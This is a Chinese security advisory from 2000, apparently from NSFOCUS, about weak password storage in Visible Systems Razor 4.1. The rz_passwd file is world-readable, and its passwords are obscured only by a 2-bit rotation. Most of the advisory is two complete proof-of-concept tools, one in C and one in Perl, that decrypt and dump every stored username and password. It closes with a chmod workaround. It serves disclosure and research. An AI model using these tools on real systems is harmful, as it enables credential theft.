首页 -> 安全研究

安全研究

安全漏洞
Visible Systems的Razor加密口令易遭破解

发布日期:2000-07-07
更新日期:2000-07-07

受影响系统:

Visible Systems Razor 4.1
描述:

Razor配置管理程序将razor的口令保存在Razor_License目录下的rz_passwd文件中。
这个文件缺省是任何人都可读的,即使将其属性改为400,在执行了'razor add_user ....',
'razor remove_user ...', 或者 'razor passwd' 命令后,属性又会被重新设置成
任何人可读的状态。

而且Razor口令的加密机制是非常弱的,只是简单的将每一个字节中的所有位右移两位,很容
易被破解。


<* 来源:  Shawn Clifford <shawn.a.clifford@lmco.com> *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

== dumprazorpasswd.c ==
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>

/************************************************************

  dumprazorpasswd -
    dumprazorpasswd
- prompts for input hex string to decode
    dumprazorpasswd <razor_passwd_file>
- prints the users and passwords in <file>
    dumprazorpasswd <passwd>
- encrypts <passwd> and prints it in hex

  16-jun-2000 pbw.

************************************************************/

#define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )

#define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
& 0x00ff) )
#define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )

struct pwent
  {
  char uname[17];
  char psswd[17];
  char gname[17];
  };

dumpfile (int fd)
{
int status, k;
struct pwent pwent;

while ( (status = read (fd, &pwent, 51)) > 0 )
  {
  if (status != 51)
      {
      printf ("fd = %d\n", fd);
      printf ("partial read! only read %d bytes\n", status);
      exit(0);
      }
  k = 0;
  while (pwent.psswd[k] != '\0')
    {
    ROT8L(pwent.psswd[k], 10);
    k++;
    }
  printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
  }
}

main (int argc, char *argv[])

{
int fd,i,k;
char passwd[18];
char dpasswd[9];

if (argc < 2)
    {
    printf("razor passwd to decrypt :");
    fgets(passwd, 17, stdin);
    passwd[strlen(passwd)-1] = 0;
    k=0;
    for (i=0 ; i<9 ; dpasswd[i++]=0);
    for (i=(strlen(passwd)-1) ; i>=0 ; i--)
      {
      if (k & 1)
          {
          dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
          }
        else
          {
          dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
          }
      k++;
      }
    for (i=0 ; i<strlen(dpasswd) ; i++)
      ROT8L(dpasswd[i], 2);
    printf("%s\n", dpasswd);
    exit(0);
    }
fd = open (argv[1], O_RDONLY);
if (fd < 0)
    { /* assume arg is a passwd to encrypt
*/
    for ( i=0 ; i<strlen(argv[1]) ; i++)
      printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
    printf("\n");
    }
  else
    { /* dump file */
    dumpfile(fd);
    }
exit(0);
}
== dumprazorpasswd.c ==

== passwd_rz.pl ==
#!/usr/local/bin/perl

#
# Title: passwd_rz.pl
# Author: Shawn A. Clifford
# Date: 2000-June-15
# Purpose: Encrypt/decrypt Visible Systems Corp.' Razor passwords
# Usage: passwd_rz.pl [ hex_hash | password_file_name ]
#
# When run without arguments, this program will prompt for
# a plaintext password and produce the ciphertext that Razor
# would create for the same string.
# Eg.: ./passwd_rz.pl
#
# Enter a password, max 8 chars: WayLame
# Hash (in hex): D5585E13585B59
#
# When passed a hex-character string, the program will
# generate the corresponding plaintext password.
# Eg.: ./passwd_rz.pl D5585E13585B59
#
# Decrypting input hex string: D5585E13585B59
# Plaintext password: WayLame
#
# When passed a filename for a Razor password file
(rz_passwd),
# the program will dump all of the entries in the password
# file. Each entry contains a username, password, and group.
# Eg.: ./passwd_rz.pl rz_passwd
#
# Decrypting Razor password file: rz_passwd
#
# Username Password Group
# -------- -------- -----
# luser123 lamerz please
# luser45 cant fix
# buckwheat code this
# .
# .
# .
# tester1 CCCCCCCC test
# tester2 AAAAAA test
#
# 233 password entries
#


use strict;

#
# Defines
#
my $arg; # Command line argument
my $PLEN = 8; # Maximum number of chars in a password
my $PGLEN = 22; # Output page length
my @hash; # Password hash (err, lame cipher)
my $passwd; # Plaintext password
my $byte; # A single byte/char
my $buffer; # Record from the password file
my $i; # Counter/index
my $user; # Username from password file
my $group; # Group name from password file
my $rec_fmt = 'A17 C17 A17'; # rz_passwd record format
my $rec_size = length(pack($rec_fmt, ())); # Size of a password file record


if ($#ARGV < 0) { # We want to encrypt a password

   #
   # Get a password
   #
   print "\nEnter a password, max 8 chars: ";
   $passwd = <STDIN>;
   chomp $passwd;


   #
   # Encrypt the password
   #
   print "Hash (in hex): ";
   for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {

      #
      # For each byte in the password, rotate right 2 bits
      #
      $byte = unpack("C", substr($passwd,$i,1)) >> 2;
      $byte += unpack("C", substr($passwd,$i,1)) << 6;

      #
      # Mask off the resultant low byte and save
      #
      $hash[$i] = $byte & 0x00ff;
      printf "%X", $hash[$i];
   }
   print "\n\n";

} else { # We want to decrypt a rz_passwd file or hex string

   $arg = shift;

   if ( -f ${arg} ) { # It's a file to process

      print "\nDecrypting Razor password file: $arg\n";
      open(IN, "<${arg}") || die "Can't open passwd file: $!";

      $i = 0;
      while ( read(IN, $buffer, $rec_size) == $rec_size ) {
         if ($i % $PGLEN == 0) {
            print "\nUsername Password Group\n";
            print "-------- -------- -----\n";
         }
         ($user, @hash, $group) = unpack($rec_fmt, $buffer);
         $group = substr($buffer, 34, 17); # unpack didn't give me this,
why?
         printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group;
         $i++;
      }
      printf "\n%d password entries\n\n", $i;
      close(IN);

   } else { # It had better be a string of hex digits!

      print "\nDecrypting input hex string: $arg\n";

      #
      # Convert ASCII character string to a binary array
      #
      @hash = ();
      for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) {
         $byte = hex(substr($arg, $i*2, 2));
         $hash[$i] = $byte;
      }

      #
      # Call the decrypt function to print the plaintext password
      #
      printf "Plaintext password: %s\n\n", decrypt(@hash);

   }

}

sub decrypt {
   my @hash = @_; # Pick up the passed array
   my $passwd = (); # Zero the output plaintext scalar
   my $i;
   my $byte;


   #
   # Decrypt the lamely enciphered password
   #
   for ($i=0; $i < $PLEN; $i++) {

      #
      # Convert NULLs to spaces
      #
      if ($hash[$i] == 0) {
         $passwd = $passwd . " ";
         next;
      }

      #
      # For each byte in the hash, rotate left 2 bits
      #
      $byte = $hash[$i] << 2;
      $byte += ($hash[$i] >> 6) & 0x03;

      #
      # Mask off the resultant low byte and save
      #
      $passwd = $passwd . chr($byte & 0x00ff);

   }

   return $passwd;
}
== passwd_rz.pl ==


建议:

临时解决办法:
chmod 400 rz_passwd

注意:每次执行完razor命令后,这个文件属性又会恢复原状,必须重新再设置属性。



浏览次数:6243
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障